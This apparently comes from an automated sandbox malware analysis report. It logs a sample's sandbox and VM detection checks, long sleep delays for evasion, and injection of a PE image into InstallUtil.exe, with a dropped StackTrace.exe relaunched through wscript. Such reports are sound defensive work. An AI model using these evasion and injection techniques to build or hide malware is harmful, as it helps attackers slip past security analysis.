                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

                  Malware Analysis System Evasion

                  barindex
                  Yara detected AntiVM3
                  Source: Yara matchFile source: Process Memory Space: ________.exe PID: 6912, type: MEMORYSTR
                  Source: Yara matchFile source: Process Memory Space: StackTrace.exe PID: 6120, type: MEMORYSTR
                  Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
                  Source: ________.exe, 00000000.00000002.1715918413.0000000002788000.00000004.00000800.00020000.00000000.sdmp, StackTrace.exe, 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
                  Source: C:\Users\user\Desktop\________.exeMemory allocated: CD0000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\Desktop\________.exeMemory allocated: 2670000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\Desktop\________.exeMemory allocated: 4670000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\Desktop\________.exeMemory allocated: 71E0000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\Desktop\________.exeMemory allocated: 81E0000 memory reserve | memory write watchJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 12A0000 memory reserve | memory write watchJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 2E50000 memory reserve | memory write watchJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 4E50000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeMemory allocated: A10000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeMemory allocated: 24B0000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeMemory allocated: 44B0000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeMemory allocated: 6F10000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeMemory allocated: 7F10000 memory reserve | memory write watchJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 17D0000 memory reserve | memory write watchJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 34D0000 memory reserve | memory write watchJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeMemory allocated: 1830000 memory reserve | memory write watchJump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                  Source: C:\Users\user\Desktop\________.exeWindow / User API: threadDelayed 4279Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeWindow / User API: threadDelayed 1534Jump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeWindow / User API: threadDelayed 1067Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeWindow / User API: threadDelayed 2456Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeWindow / User API: threadDelayed 7351Jump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -16602069666338586s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -100000s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7132Thread sleep count: 4279 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7132Thread sleep count: 1534 > 30Jump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -99890s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -99780s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -99671s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -99562s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -99445s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -99328s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -99218s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -99101s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -98984s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -98875s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -98765s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -98646s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -98515s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -98406s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -98283s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -98156s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -98006s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -97876s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -97734s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -97625s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -97515s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -97406s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -97297s >= -30000sJump to behavior
                  Source: C:\Users\user\Desktop\________.exe TID: 7012Thread sleep time: -97187s >= -30000sJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2188Thread sleep time: -30000s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep count: 37 > 30Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -34126476536362649s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -100000s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 6888Thread sleep count: 2456 > 30Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 6888Thread sleep count: 7351 > 30Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -99875s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -99766s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -99656s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -99547s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -99438s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -99313s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -99188s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -99063s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -98952s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -98844s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -98728s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -98610s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -98445s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -98141s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -98031s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -97922s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -97812s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -97703s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -97594s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -97485s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -97360s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -97235s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -97110s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -96985s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -96860s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -96735s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -96610s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -96485s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -96360s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -96235s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -96107s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -95998s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -95891s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -95750s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -95633s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -95512s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -95391s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -95266s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -95156s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -95047s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -94938s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -94813s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -94688s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -94578s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -94469s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -94344s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -94235s >= -30000sJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exe TID: 7108Thread sleep time: -94094s >= -30000sJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe TID: 2416Thread sleep time: -922337203685477s >= -30000sJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BaseBoard
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_BIOS
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 100000Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 99890Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 99780Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 99671Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 99562Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 99445Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 99328Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 99218Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 99101Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 98984Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 98875Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 98765Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 98646Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 98515Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 98406Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 98283Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 98156Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 98006Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 97876Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 97734Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 97625Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 97515Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 97406Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 97297Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeThread delayed: delay time: 97187Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 100000Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 99875Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 99766Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 99656Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 99547Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 99438Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 99313Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 99188Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 99063Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 98952Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 98844Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 98728Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 98610Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 98445Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 98141Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 98031Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 97922Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 97812Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 97703Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 97594Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 97485Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 97360Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 97235Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 97110Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 96985Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 96860Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 96735Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 96610Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 96485Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 96360Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 96235Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 96107Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 95998Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 95891Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 95750Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 95633Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 95512Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 95391Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 95266Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 95156Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 95047Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 94938Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 94813Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 94688Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 94578Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 94469Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 94344Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 94235Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeThread delayed: delay time: 94094Jump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeThread delayed: delay time: 922337203685477Jump to behavior
                  Source: InstallUtil.exe, 00000001.00000002.2924490939.0000000001367000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWpsX
                  Source: StackTrace.exe, 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SerialNumber0VMware|VIRTUAL|A M I|XenDselect * from Win32_ComputerSystem
                  Source: InstallUtil.exe, 00000001.00000002.2936241892.0000000005595000.00000004.00000020.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.2935784242.0000000005580000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                  Source: StackTrace.exe, 00000003.00000002.1905206220.00000000025C8000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: model0Microsoft|VMWare|Virtual
                  Source: StackTrace.exe, 00000003.00000002.1942089512.0000000005190000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlll
                  Source: ________.exe, 00000000.00000002.1714974058.0000000000AE1000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                  Source: C:\Users\user\Desktop\________.exeProcess information queried: ProcessInformationJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess token adjusted: DebugJump to behavior
                  Source: C:\Users\user\Desktop\________.exeMemory allocated: page read and write | page guardJump to behavior

                  HIPS / PFW / Operating System Protection Evasion

                  barindex
                  Injects a PE file into a foreign processes
                  Source: C:\Users\user\Desktop\________.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5AJump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000 value starts with: 4D5AJump to behavior
                  Writes to foreign memory regions
                  Source: C:\Users\user\Desktop\________.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 720000Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 722000Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: D79008Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 400000Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 402000Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 720000Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 722000Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe base: 10C8008Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"Jump to behavior
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Users\user\AppData\Roaming\StackTrace.exe "C:\Users\user\AppData\Roaming\StackTrace.exe" Jump to behavior
                  Source: C:\Users\user\AppData\Roaming\StackTrace.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"Jump to behavior
                  Source: C:\Users\user\Desktop\________.exeQueries volume information: C:\Users\user\Desktop\________.exe VolumeInformationJump to behavior
                  Source: C:\Users\user\Desktop\________.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                  Source: C:\Users\user\Desktop\________.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformationJump to behavior
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
